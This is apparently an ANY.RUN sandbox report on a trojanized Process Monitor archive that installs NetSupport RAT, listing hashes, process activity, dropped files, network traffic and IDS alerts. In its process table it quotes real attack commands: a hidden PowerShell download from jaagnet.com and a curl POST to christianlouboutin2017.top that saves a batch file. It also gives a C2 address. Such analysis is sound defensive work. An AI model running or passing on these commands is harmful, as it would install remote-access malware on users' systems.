File name:

ProcessMonitor.zip

Full analysis: https://app.any.run/tasks/45a48f9d-d594-4d9e-ad9a-d9a81e88f1bd
Verdict: Malicious activity
Threats:

NetSupport RAT is a malicious adaptation of the legitimate NetSupport Manager, a remote access tool used for IT support, which cybercriminals exploit to gain unauthorized control over systems. It has gained significant traction due to its sophisticated evasion techniques, widespread distribution campaigns, and the challenge it poses to security professionals who must distinguish between legitimate and malicious uses of the underlying software.

Malware Trends Tracker     >>>
Analysis date: May 15, 2025, 14:52:57
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
zphp
arch-exec
arch-doc
netsupport
remote
rmm-tool
auto
tool
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract, compression method=store
MD5:

3C45BFA7C915B750EBFA69680FA73366

SHA1:

BAD0D68AA33DB92AFB3F5A5778078AC05CC274B1

SHA256:

3E02B407AC7DEBDA5794072DE7EEDD2A3E1D90E46963CDAB99814D0806402348

SSDEEP:

98304:qIaE2qIBFqQNwnmka7oIrmRToCpV19n1Wj0oI+qhYRapGX8nD/Rd99aTnA8EZsoi:xZc

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7144)
      • powershell.exe (PID: 632)

    • NETSUPPORT has been found (auto)

      • powershell.exe (PID: 632)
      • powershell.exe (PID: 7144)

    • NETSUPPORT has been detected (SURICATA)

      • client32.exe (PID: 6808)

    • Connects to the CnC server

      • client32.exe (PID: 6808)

    • NETSUPPORT has been detected (YARA)

      • client32.exe (PID: 6808)

  • SUSPICIOUS

    • Contacting a server suspected of hosting an Exploit Kit

      • curl.exe (PID: 1628)
      • svchost.exe (PID: 2196)

    • Reads security settings of Internet Explorer

      • Procmon64.exe (PID: 1020)

    • Reads the date of Windows installation

      • Procmon64.exe (PID: 1020)

    • Application launched itself

      • Procmon64.exe (PID: 1020)

    • Executable content was dropped or overwritten

      • Procmon64.exe (PID: 5056)
      • powershell.exe (PID: 7144)

    • Creates files in the driver directory

      • Procmon64.exe (PID: 5056)

    • Creates or modifies Windows services

      • Procmon64.exe (PID: 5056)

    • Downloads file from URI via Powershell

      • powershell.exe (PID: 632)

    • Drops a system driver (possible attempt to evade defenses)

      • Procmon64.exe (PID: 5056)

    • Process drops legitimate windows executable

      • powershell.exe (PID: 632)
      • powershell.exe (PID: 7144)

    • The process drops C-runtime libraries

      • powershell.exe (PID: 632)
      • powershell.exe (PID: 7144)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 5812)

    • Drop NetSupport executable file

      • powershell.exe (PID: 632)
      • powershell.exe (PID: 7144)

    • Connects to the server without a host name

      • client32.exe (PID: 6808)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 5812)

  • INFO

    • Checks supported languages

      • curl.exe (PID: 1628)
      • Procmon64.exe (PID: 1020)
      • Procmon64.exe (PID: 5056)

    • Reads the computer name

      • curl.exe (PID: 1628)
      • Procmon64.exe (PID: 1020)
      • Procmon64.exe (PID: 5056)

    • Manual execution by a user

      • WinRAR.exe (PID: 4200)
      • WinRAR.exe (PID: 2136)
      • notepad.exe (PID: 736)
      • Procmon64.exe (PID: 1020)
      • cmd.exe (PID: 5812)

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 2136)

    • The sample compiled with english language support

      • WinRAR.exe (PID: 2136)
      • Procmon64.exe (PID: 5056)
      • powershell.exe (PID: 632)
      • powershell.exe (PID: 7144)

    • Reads product name

      • Procmon64.exe (PID: 1020)

    • Reads security settings of Internet Explorer

      • notepad.exe (PID: 736)

    • Reads Environment values

      • Procmon64.exe (PID: 1020)

    • Process checks whether UAC notifications are on

      • Procmon64.exe (PID: 1020)

    • Process checks computer location settings

      • Procmon64.exe (PID: 1020)

    • Reads CPU info

      • Procmon64.exe (PID: 5056)

    • Reads the software policy settings

      • slui.exe (PID: 1676)

    • Reads the time zone

      • Procmon64.exe (PID: 5056)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: -
ZipCompression: None
ZipModifyDate: 2025:05:15 10:11:58
ZipCRC: 0x00000000
ZipCompressedSize: -
ZipUncompressedSize: -
ZipFileName: ProcessMonitor/
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
154
Monitored processes
18
Malicious processes
6
Suspicious processes
0

Behavior graph

Click at the process to see the details
start curl.exe conhost.exe no specs svchost.exe sppextcomobj.exe no specs slui.exe winrar.exe no specs winrar.exe rundll32.exe no specs notepad.exe no specs procmon64.exe no specs procmon64.exe slui.exe cmd.exe no specs conhost.exe no specs #NETSUPPORT powershell.exe #NETSUPPORT powershell.exe #NETSUPPORT client32.exe reg.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
632powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://jaagnet.com/tsks.zip?3f17196583013ffea411' -OutFile 'C:\Users\admin\AppData\Roaming\Application.zip'" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
736"C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\Desktop\ProcessMonitor\Eula.txtC:\Windows\System32\notepad.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
1020"C:\Users\admin\Desktop\ProcessMonitor\Procmon64.exe" C:\Users\admin\Desktop\ProcessMonitor\Procmon64.exe—explorer.exe
User:
admin
Company:
Sysinternals - www.sysinternals.com
Integrity Level:
MEDIUM
Description:
Process Monitor
Version:
4.01
Modules
Images
c:\users\admin\desktop\processmonitor\procmon64.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
1628"C:\Windows\System32\curl.exe" -k -Ss -X POST "https://christianlouboutin2017.top/ifh/lll.php" -o "C:\Users\Admin\Desktop\dfgfhf.bat"C:\Windows\System32\curl.exe
explorer.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
0
Version:
8.4.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\cryptsp.dll
1676"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
2136"C:\Program Files\WinRAR\WinRAR.exe" x -iext -ow -ver -- "C:\Users\admin\Desktop\ProcessMonitor.zip" C:\Users\admin\Desktop\C:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
4200"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\ProcessMonitor.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
4868C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
5056"C:\Users\admin\Desktop\ProcessMonitor\Procmon64.exe" C:\Users\admin\Desktop\ProcessMonitor\Procmon64.exe
Procmon64.exe
User:
admin
Company:
Sysinternals - www.sysinternals.com
Integrity Level:
HIGH
Description:
Process Monitor
Version:
4.01
Modules
Images
c:\users\admin\desktop\processmonitor\procmon64.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\version.dll
Total events
14 587
Read events
14 547
Write events
36
Delete events
4

Modification events

(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\ProcessMonitor.zip
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\ArcColumnWidths
Operation:writeName:name
Value:
256
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\ArcColumnWidths
Operation:writeName:size
Value:
80
Executable files
18
Suspicious files
12
Text files
11
Unknown types
0

Dropped files

PID
Process
Filename
Type
2136WinRAR.exeC:\Users\admin\Desktop\ProcessMonitor\Procmon64a.exeexecutable
MD5:03A3A7C0F0534D7F56FB50D486FE8CEF
SHA256:36085927CA98B9B7D630EDEAD37671208E01978CA38974FB3FD435F42E709702
2136WinRAR.exeC:\Users\admin\Desktop\ProcessMonitor\Eula.txttext
MD5:BC6AC86BD1816F839830F2E574757CA9
SHA256:B6B3B63113802CE5498F997EDAF28A1D03848AA2AE0E6D537E7AFE7856B23131
5056Procmon64.exeC:\Windows\INF\wvid.PNFbinary
MD5:9D0FC4E20C44C5D081FFB94218C43E6C
SHA256:136FF5F4AD7C9EF06313D18215F75053E758E9028EF47BB4EFA22E5D2A82DEB2
5056Procmon64.exeC:\Windows\System32\drivers\PROCMON24.SYSexecutable
MD5:03480D56A090F0CD397677251F747929
SHA256:2A5A61BDA7B7B5D6E69B588FFBF625A1534D5A94F39801F6E0376774AA103DD9
5056Procmon64.exeC:\Windows\INF\display.PNFbinary
MD5:62887E3F2C67C748F05C629DB62182A4
SHA256:1B686CFC6E98A6034A28BA9BE22C190723467365477E75A18A78104A26554CE9
7144powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_wlr1fgco.gmn.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5056Procmon64.exeC:\Windows\INF\basicrender.PNFbinary
MD5:8567F128605CC616A38D0870D077D165
SHA256:7B2D28D317F49EED7BC242241E54EB3FFFB512C5FB6F719C4F5E9395E6B1F533
5056Procmon64.exeC:\Windows\INF\machine.PNFbinary
MD5:D4E53E089992778998694FBD9DF1D37D
SHA256:7465C0F4D949A712BC21D6BCB9FFEACCEBBEE9E45323853D00F02C36019D3245
5056Procmon64.exeC:\Windows\INF\basicdisplay.PNFbinary
MD5:914DCB989709A0CE3F4B24A4CD147F1A
SHA256:C2FEE0EAD23C7B3B509FDDE94DDD6A549F999F364C5CA9D09AC084F22BC0ECB4
632powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:C221354D6E7707D975FCF2FBACFD69A7
SHA256:95B0B7443D4898CEA761349B3BDD8E493C73BFB6788B5DF43B3F6A483D400CB9
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
15
TCP/UDP connections
50
DNS requests
33
Threats
23

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
2.16.164.49:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
92.123.22.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
616
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
616
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D
unknown
—
—
whitelisted
6808
client32.exe
POST
200
94.158.245.104:443
http://94.158.245.104/fakeurl.htm
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2104
svchost.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5496
MoUsoCoreWorker.exe
2.16.164.49:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
5496
MoUsoCoreWorker.exe
92.123.22.101:80
www.microsoft.com
AKAMAI-AS
AT
whitelisted
1628
curl.exe
77.83.199.34:443
christianlouboutin2017.top
HZ Hosting Ltd
US
malicious
3216
svchost.exe
172.211.123.250:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
20.190.160.66:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
2.23.77.188:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
2112
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.185.142
whitelisted
crl.microsoft.com
  • 2.16.164.49
  • 2.16.164.72
whitelisted
www.microsoft.com
  • 92.123.22.101
  • 95.101.149.131
whitelisted
christianlouboutin2017.top
  • 77.83.199.34
malicious
client.wns.windows.com
  • 172.211.123.250
  • 172.211.123.249
whitelisted
login.live.com
  • 20.190.160.66
  • 40.126.32.74
  • 40.126.32.134
  • 20.190.160.130
  • 20.190.160.128
  • 20.190.160.131
  • 20.190.160.2
  • 20.190.160.64
whitelisted
ocsp.digicert.com
  • 2.23.77.188
whitelisted
settings-win.data.microsoft.com
  • 20.73.194.208
whitelisted
slscr.update.microsoft.com
  • 172.202.163.200
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
whitelisted

Threats

PID
Process
Class
Message
2196
svchost.exe
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
2196
svchost.exe
Exploit Kit Activity Detected
ET EXPLOIT_KIT ZPHP Domain in DNS Lookup (christianlouboutin2017 .top)
1628
curl.exe
Exploit Kit Activity Detected
ET EXPLOIT_KIT ZPHP Domain in TLS SNI (christianlouboutin2017 .top)
6808
client32.exe
Potentially Bad Traffic
ET INFO HTTP traffic on port 443 (POST)
6808
client32.exe
Potentially Bad Traffic
ET INFO HTTP traffic on port 443 (POST)
6808
client32.exe
A Network Trojan was detected
REMOTE [ANY.RUN] NetSupport RAT
6808
client32.exe
A Network Trojan was detected
REMOTE [ANY.RUN] NetSupport RAT
6808
client32.exe
Misc activity
ET REMOTE_ACCESS NetSupport Remote Admin Checkin
6808
client32.exe
Misc activity
ET REMOTE_ACCESS NetSupport Remote Admin Response
6808
client32.exe
Misc activity
ET REMOTE_ACCESS NetSupport Remote Admin Checkin
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
ProcessMonitor.zip